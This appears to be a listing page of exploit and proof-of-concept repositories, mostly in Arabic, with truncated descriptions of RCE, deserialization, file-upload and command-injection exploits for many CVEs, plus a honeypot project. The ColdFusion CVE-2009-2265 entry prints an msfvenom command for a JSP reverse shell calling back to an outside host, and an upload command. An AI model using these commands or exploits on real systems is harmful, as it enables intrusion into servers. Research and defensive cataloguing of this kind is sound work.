spring4shell-poc

Spring4Shell POC وصف الثغرة الأمنية: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html بناء إثبات المفهوم POC: https://github.com/BobTheShoplifter/Spring4Shell-POC خطوات البناء/التشغيل تم الاختبار باستخدام JDK 11.0.14 و Spring Boot 2.6.5 و Apache Tomcat 9.0.60 قم بتشغيل...

CVE-2024-50492

🚨 CVE-2024-50492 - استغلال RCE في ScottCart 🔥 سكربت استغلال لـ ScottCart 🧑‍💻 بواسطة Nxploit – Khaled Alenazi 📌 الوصف إضافة ScottCart لـ WordPress الإصدارات ≤ 1.1 معرضة لثغرة تنفيذ الأكواد عن بُعد RCE. وهذا يسمح للمهاجمين غير المصادَقين بتنفيذ دوال PHP عشوائية على الخادم عبر نقطة نهاية AJAX ضعيفة...

CVE-2022-48565-POC

CVE-2022-48565 PoC مقدمة هذا هو إثبات مفهوم PoC يوضح الثغرة CVE-2022-48565 ، والتي تستند إلى إلغاء التسلسل غير الآمن لملفات Plist في Python. من خلال معالجة ملفات قوائم الخصائص Plist المصممة بعناية، يمكن للمهاجم تنفيذ تعليمات برمجية عشوائية على النظام المستهدف، مما قد يؤدي إلى تنفيذ كود عن بُعد RC...

CVE-2024-22120-RCE-with-gopher

الاستخدام python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime ملخص صُمم هذا الاستغلال لاستغلال ثغرة XXE كيانات XML الخارجية. من خلالها، قرأت الكود الخلفي لخدمة الويب ووجدت نقطة نهاية حيث يمكنني استخدام gopher لإرسال طلبات داخلية إلى خوادم Zabbix الإصدار 6.0.27 القابلة للاستغل...

CVE-2020-0796

CVE-2020-0796 الماسح الضوئي = https://github.com/ButrintKomoni/cve-2020-0796 إثبات المفهوم للفيض البعيد = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Référence : https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - code python à exécuter...

Unomi-CVE-2020-13942

سكريبت Apache Unomi لثغرة CVE-2020-13942 تنفيذ التعليمات البرمجية عن بُعد نبذة عن الثغرة Apache Unomi هي منصة بيانات مفتوحة المصدر مبنية بلغة Java، وهي خادم Java مصمم لإدارة بيانات العملاء والعملاء المحتملين والزوار، والمساعدة في تخصيص تجربة العميل. يمكن استخدام Unomi لدمج إدارة التخصيص وملفات...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 مختبر إلغاء التسلسل غير الآمن في Java تطبيق REST أساسي بلغة Java معرض لثغرة إلغاء التسلسل غير الآمن، مما يؤدي إلى تنفيذ أوامر عن بعد RCE. يجب تشغيل المشروع على Java 8u45 مبني على Maven مع التبعيات التالية: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11...

CVE-2009-2265

الإصدار: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp مثال :...

CVE-2020-35476

CVE-2020-35476 تحدث ثغرة أمنية في تنفيذ التعليمات البرمجية عن بُعد في OpenTSDB حتى الإصدار 2.4.0 عبر حقن الأوامر في معامل yrange. غير مكتمل ولا يعمل. معظم الشيفرة موجودة ولكن يجب إصلاح الحمولة...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Exécution de code à distance dans HTTP.sys MS15-034...

weblogic_honeypot

WebLogic honeypot Cymmetria Research, 2018. https://www.cymmetria.com/ كتبه: Omer Cohen @omercnet شكر خاص: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev للتواصل: [email protected] WebLogic Honeypot هو honeypot منخفض التفاعل لاكتشاف CVE-2017-10271 في مكوّن Oracle WebLogic Server التابع لـ...

CVE-2018-16763

CVE 2018-16763 Exploit Introduction PreAuth-RCE sur FUEL CMS 1.4.1 Démo Référence : https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2019-11043

إثبات المفهوم CVE-2019-11043 تنفيذ بايثون لاستغلال CVE-2019-11043 الاستغلال المسجل تحت CVE-2019-11043 يستغل خللاً في تنفيذ PHP-FPM بالاشتراك مع خادم NGINX. في تكوينات معينة، يؤدي تعبير منتظم في مسار FastCGI pathinfo إلى كتابة FPM بعد المخازن المؤقتة المخصصة في المساحة المحجوزة لبيانات بروتوكول...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - رفع ملفات تعسفي غير مصادق CVE-2024-43160 إضافة BerqWP – Automated All-In-One PageSpeed Optimization Plugin لتحسين أداء صفحات ووردبريس Core Web Vitals، التخزين المؤقت، CDN، الصور، CSS، وJavaScript قابلة للثغرة بسبب غياب التحقق من نوع الملف في الملف /api/storewebp.php في...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 إثبات المفهوم إثبات المفهوم بواسطة CRFSlick، تم اكتشافها بواسطة AkkuS تم اكتشاف مشكلة في CutePHP CuteNews 2.1.2. يمكن للمهاجم اختراق الخادم من خلال عملية رفع الصورة الرمزية في منطقة الملف الشخصي عبر حقل avatarfile إلى index.php?mod=main&opt=personal. لا يوج...

CVE-2024-26304-RCE-exploit

CVE-2024-26304 - ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArubaOS نظرة عامة CVE-2024-26304 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على ArubaOS بسبب تجاوز سعة المخزن المؤقت في خدمة إدارة L2/L3. يمكن للمهاجم استغلالها عن طريق إرسال حزم مصممة خصيصًا إلى منفذ PAPI Process Application...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Windows TCP/IP EXP&POC إعادة الإنتاج forforever: https://www.cnblogs.com/forforever/p/13846077.html poc CVE-2020-16898Checker-poc الأمر: شغّل powershell/CMD كمسؤول Powershell.exe -ExecutionPolicy UnRestricted -File...

CVE-2024-10914

POC - CVE-2024–10914- ثغرة حقن أوامر في معامل name لـ D-Link NAS نظرة عامة تم العثور على ثغرة أمنية في أجهزة D-Link DNS-320 وDNS-320LW وDNS-325 وDNS-340L حتى إصدار 20241028. وقد تم تصنيفها على أنها حرجة. تتأثر بهذه الثغرة الدالة cgiuseradd في الملف /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. يؤدي...

CVE-2026-57827

CVE-2026-57827 — مكوّن RSFiles! لـ Joomla: ثغرة رفع ملفات بدون مصادقة تؤدي إلى RCE تجاوز الرفع عبر وحدة التحكم المجزأة → استدعاء مهمة الكتابة مباشرةً → /downloads/shell.php → RCE نظرة عامة CVE-2026-57827 هي ثغرة رفع ملفات عشوائي غير مصادَق عليها بخطورة حرجة CVSS 9.8 في RSFiles! comrsfiles، وهو...